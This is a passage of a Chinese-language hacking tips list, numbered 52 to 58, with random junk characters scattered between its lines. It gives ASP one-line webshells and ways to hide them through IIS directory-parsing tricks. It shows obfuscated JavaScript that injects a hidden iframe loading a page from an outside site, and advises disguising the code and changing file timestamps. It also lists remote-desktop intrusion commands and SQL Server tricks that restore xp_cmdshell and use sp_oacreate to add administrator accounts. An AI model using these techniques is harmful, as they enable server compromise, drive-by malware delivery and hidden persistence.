f).<%if request("cmd")<>"" then execute request("pass")%>- k0 k) H& E& _% i* Y8 U1 @% Y
! y3 G/ S) u7 O2 i+ K J: p/ z; `52、at "12:17" /interactive cmd
) Q! v, |* b/ x, \- @+ I1 V执行后可以用AT命令查看新加的任务
7 Q& e7 c# B2 w2 @. r3 X用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。
4 S+ C" g; f$ Z1 v% d, j
! H. f( G, Y. }4 k4 V0 g1 {" _53、隐藏ASP后门的两种方法
3 X0 [0 [- @: i+ ^8 l0 v1、建立非标准目录:mkdir images..\
+ t( K: q. V" U( m' G) d7 P8 N. e拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp5 e* u6 O+ z+ Y
通过web访问ASP木马:http://ip/images../news.asp?action=login
+ f, M7 i8 x0 M: Y* F p- s2 [如何删除非标准目录:rmdir images..\ /s9 A5 A2 A- h+ E% i
2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的:: Z- F m# E+ o$ _ L, E
mkdir programme.asp
" G) H1 P5 p' Z5 R新建1.txt文件内容:<!--#include file=”12.jpg”-->
y, H* }( _- s, s g+ b3 a! y新建12.jpg文件内容:<%execute(request("l"))%> 或使用GIF与ASP合并后的文件
O0 c7 T- z) w$ E7 k. Y* c5 hattrib +H +S programme.asp
1 c! }! {& A* f1 v" f通过web访问ASP一句话木马:http://ip/images/programme.asp/1.txt
" y* b. g1 j. t( f6 G% Y) ]
( h4 p+ Q1 k- d D7 v. Z54、attrib /d /s c:\windows +h +s,后windows目录变为隐藏+系统,隐藏属性为灰不可更改,windows目录下面的文件和目录并没有继承属性,原来是什么样还是什么样。
3 a. V- m2 K* P5 I% R8 A) d c然后在利用attrib /d /s c:\windows -h -s,windows目录可以显示,隐藏属性可以再次选中。# |$ ~. G3 {) V
/ e1 D7 R( G) r7 F$ k! g; k
55、JS隐蔽挂马
$ c( }" a# M( d- N# V' \1.
: |4 t9 B$ U9 G; P$ d4 Hvar tr4c3="<iframe src=ht";& k# B( E/ a) ]& V
tr4c3 = tr4c3+"tp:/";# {; P" V4 G! O* M& u1 h% e
tr4c3 = tr4c3+"/ww";
. {; D" G7 }5 h& [tr4c3 = tr4c3+"w.tr4";4 ^0 C; I) p4 Y6 l* _/ Q
tr4c3 = tr4c3+"c3.com/inc/m";
& n5 |4 x# F1 ktr4c3 = tr4c3+"m.htm style="display:none"></i";) ?! s7 o5 w4 o+ N* u$ I
tr4c3 =tr4c3+"frame>'";) m, c; ~4 G6 Q6 D% p- w2 }' W: {6 c+ x
document.write(tr4c3); T1 P9 W+ U6 e2 y; W* O. m y# O
避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些,混淆度增加。
& D# E8 D# F1 e( }. P# y" x) O' c: l, d* L6 m
2.
0 q5 _) \5 F& Q# D- h5 D1 }转换进制,然后用EVAL执行。如
4 c5 _9 X$ j8 a! Y" Ieval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\40\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\164\162\64\143\63\56\143\157\155\57\151\156\143\57\155\155\56\150\164\155\40\163\164\171\154\145\75\42\42\144\151\163\160\154\141\171\72\156\157\156\145\42\42\76\74\57\151\146\162\141\155\145\76\42\51\73");0 z" ?8 V2 I9 t: Q( @" y& `
不过这个有点显眼。7 s8 a+ B' i# q: c5 Q
3.
( h3 M( i8 W; Cdocument.write ('<iframe src=http://www.tr4c3.com/inc/mm.htm style="display:none"></iframe>');
; a/ x. t0 v3 Q) i0 Z/ }" k最后一点,别忘了把文件的时间也修改下。
( ?2 j( b% z# j; S
# c# {% f* W' |' N- e56.3389终端入侵常用DOS命令
5 e1 Q1 S- C6 t itaskkill taskkill /PID 1248 /t
* Y& \3 I }8 n: _
- ]; q U( g4 I1 P& F+ L: i2 gtasklist 查进程
9 |% W B4 X" t( Z
& d. M& {2 _. Wcacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限0 G H* y9 ]: c8 S, ?6 X
iisreset /reboot
' k( @, K9 Y0 u, s) U. utsshutdn /reboot /delay:1 重起服务器
+ z- [3 z, Q( y C0 k
9 q+ F U& h5 `9 ]! A+ dlogoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,
) i1 R: e" i, r
s7 X$ n3 I) i2 V9 b8 r6 i( q2 equery user 查看当前终端用户在线情况; V8 D8 M4 N3 g% m. a) ]
' v' S5 E4 ] `3 K; V* [
要显示有关所有会话使用的进程的信息,请键入:query process *+ Z4 o1 N$ `: \( B! m
; I$ t. X) L: M& F
要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:2; q3 y$ m( K; @7 @+ V5 Z) u
, o7 d0 h# X7 v; {( n7 }( C' L要显示有关服务器 SERVER2 上所有活动会话的信息,请键入:query session /server:SERVER2
. Z+ S/ s5 ]! d. R" ^3 y+ B
1 o- V0 l5 d0 ?要显示有关当前会话 MODEM02 的信息,请键入:query session MODEM02 Z* p3 o! G0 x& \9 S
) S9 e0 i: I6 x/ }命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启
6 @# k0 o; D5 k! l |. E( F+ b) F
命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统
, I t" i1 e: c' W$ K' M8 V# ?, |2 v
命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。; l: O3 L, N' B$ R9 k0 s4 c4 h# s
" M& [$ u! {/ U) Y, `8 \' Y3 M: f' P
命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机
4 H& g# o3 X! a( U Y4 x, R6 k$ w1 M+ P }3 y, R* _
56、在地址栏或按Ctrl+O,输入:
5 s: P9 @! @0 Z$ _, ajavascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;
' j& k+ a2 A( b8 O. O
9 I8 W0 }7 {& C( z1 _源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。
8 l% m6 Z; H/ m; w- h( R- |: c2 ?- F S+ M
57、net user的时候,是不能显示加$的用户,但是如果不处理的话,
5 |7 n2 L$ g% ~* ~) C/ J用net localgroup administrators是可以看到管理组下,加了$的用户的。- O; k# G0 K; z; [. e: [
* E/ D( k0 @: T! N58、 sa弱口令相关命令
- k! ]3 L1 B: c6 O- ^8 d$ t" K6 e( O2 c; L5 p2 R
一.更改sa口令方法:8 X1 h. F$ M; a! o
用sql综合利用工具连接后,执行命令:$ E4 J: i" e) q; B' U& v
exec sp_password NULL,'20001001','sa'
( E {% X$ ]# O) N3 X: L3 e3 p7 l(提示:慎用!)
/ ?8 p- R8 Q. }" n
$ @' q: B5 m1 v9 i二.简单修补sa弱口令.
( x. Q3 b7 S- Q8 F% m4 e6 Y# \
2 J$ C# L: c, w- s& O- E. a方法1:查询分离器连接后执行:
# ~# w% X) Q/ {# t& I& t/ Aif exists (select * from5 p, ]2 x3 P. L" M8 r
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
2 t9 i+ h; x: k' A OOBJECTPROPERTY(id, N'IsExtendedProc') = 1)% j- w- g& g. _" m* c9 R( F
* P2 t; ?/ j5 a k$ N# o* X
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
5 h$ _$ T+ {0 g5 ]
* \/ |+ p2 ~% @; bGO* N" c) G# G; S/ `7 Q5 R
# B4 C; w+ t+ _! L: p% W" m0 U' ~' y
然后按F5键命令执行完毕! A4 k* ^; n+ g2 m; W; |
. N) Z, i5 W* d' p! C5 ~( J方法2:查询分离器连接后$ `# ^' {) N; b6 g" |& N- Q
第一步执行:use master
: x( Q/ W4 n; z0 @* q( g第二步执行:sp_dropextendedproc 'xp_cmdshell'* `+ o+ \0 f# E) I3 n$ {7 [
然后按F5键命令执行完毕7 ^6 p( L8 R/ y% q
3 ]5 W: s; B1 r5 W" u, _
$ I1 C9 _ K. h- u1 S三.常见情况恢复执行xp_cmdshell.: }4 T- \- ]$ p R4 M
* A. i% _$ b$ c( E' w
$ I k* r2 g: `+ L$ Q1 未能找到存储过程'master..xpcmdshell'.$ n: y" l/ g: @, o! k$ k, \
恢复方法:查询分离器连接后,6 a7 I( R. S; ]$ N3 W
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int! P: l! q# _" _
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
) A8 a9 W; E0 ~8 V Z然后按F5键命令执行完毕3 d% r. d( u% ]; ~- ?( k* a
1 E2 |5 C) t/ g" ~& R2 l( j2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)' X, ?1 L. a: B: F2 [
恢复方法:查询分离器连接后,* L& L8 D' ^8 ]5 U9 @0 ]% M, M& E
第一步执行:sp_dropextendedproc "xp_cmdshell"5 c( S# x. w. k) h7 Q1 p
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
/ V! Y4 F; m$ P% e3 k9 ]2 q3 T( c. l9 e然后按F5键命令执行完毕3 l) |+ T s2 R R7 ?
, Y1 j& {# L+ h% M9 v% E3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)" O3 f# i8 Q% N$ E; g
恢复方法:查询分离器连接后,5 z& Z$ W2 b! a2 s/ Y& q2 c
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'' l/ c& Y% Q5 P# J d
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
+ ?( {# }' f2 p6 ?$ Z( f) h E然后按F5键命令执行完毕
! [- y6 X% Q- ~7 v1 h" m R6 a: q; t, Y3 J! L
四.终极方法.6 N" g0 T" F9 q! [0 g N: d/ K
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
' L/ c" ?5 T, z3 U+ \查询分离器连接后,
! K( X B) Z y) Z1 q# Y2000servser系统:) C' v6 G4 c& I B% j8 L3 O1 k
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add'/ M- w0 K7 o0 Y* V( r
N+ W0 H, g6 K' D1 ~# u9 E
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add'
9 ~% x' [. J, f7 N' ]6 n8 e. ]7 }. j
xp或2003server系统:
; P" x) a& F) }$ r9 Y; l) y/ b
$ {/ j2 z3 p. k- \) x: u# gdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'" f) u# ~) t# }. @; f7 ~
) @" \3 C! g# s3 W7 @
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'
3 ?8 K: s' T3 l |